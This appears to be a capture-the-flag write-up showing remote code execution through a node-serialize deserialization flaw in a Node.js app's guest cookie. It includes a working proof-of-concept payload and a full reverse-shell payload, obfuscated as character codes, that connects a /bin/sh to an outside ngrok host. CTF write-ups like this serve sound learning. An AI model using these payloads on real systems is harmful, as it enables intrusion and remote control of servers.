Sparta

node.js deserialization vulnerability leads to RCE.

Problem

Spartanians are starting to lose their great power, help them move their objects and rebuild their Empire.

Solution

In the given source code, we can see that the /guest endpoint deserializes the base 64 decoded guest cookie.

app.post('/guest', function(req, res) {
   if (req.cookies.guest) {
       var str = new Buffer(req.cookies.guest, 'base64').toString();
       var obj = serialize.unserialize(str);
       if (obj.username) {
         res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
   }
 } else {
     var username = req.body.username 
     var country = req.body.country 
     var city = req.body.city
     var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}`
     var encoded_data = new Buffer(serialized_info).toString('base64');
     res.cookie('guest', encoded_data, {
       maxAge: 900000,
       httpOnly: true
     });
 }

There is a well-known deserialization vulnerability in node.js that leads to RCE (CVE-2017-5941).

By passing a serialized object like the following into serialize.unserialize(), we can achieve RCE.

{"rce":"_$$ND_FUNC$$_function (){\n \t
require('child_process').exec('ls /', function(error, stdout, stderr) {
console.log(stdout) });\n }()"}

This relies on JavaScript's Immediately Invoked Function Expression (IIFE): notice the IIFE bracket after the function expression:

function (){ ... }()

Now, we can execute a reverse shell payload within the function that would be fired when the data is deserialized. Using nodejsshell.py, we can craft such a payload.

In my case: python nodejsshell.py 2.tcp.ngrok.io 13755 allowed me to generate a reverse shell payload for my ngrok tunnel.

Then, we can copy the output into the function body.

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,50,46,116,99,112,46,110,103,114,111,107,46,105,111,34,59,10,80,79,82,84,61,34,49,51,55,53,53,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}';
serialize.unserialize(payload);

Once we tested that our payload works, we can encode the payload to base 64, and send it through the cookie header.

We obtain a reverse shell, which allows us to read the flag.

References:

1. https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf
2. https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py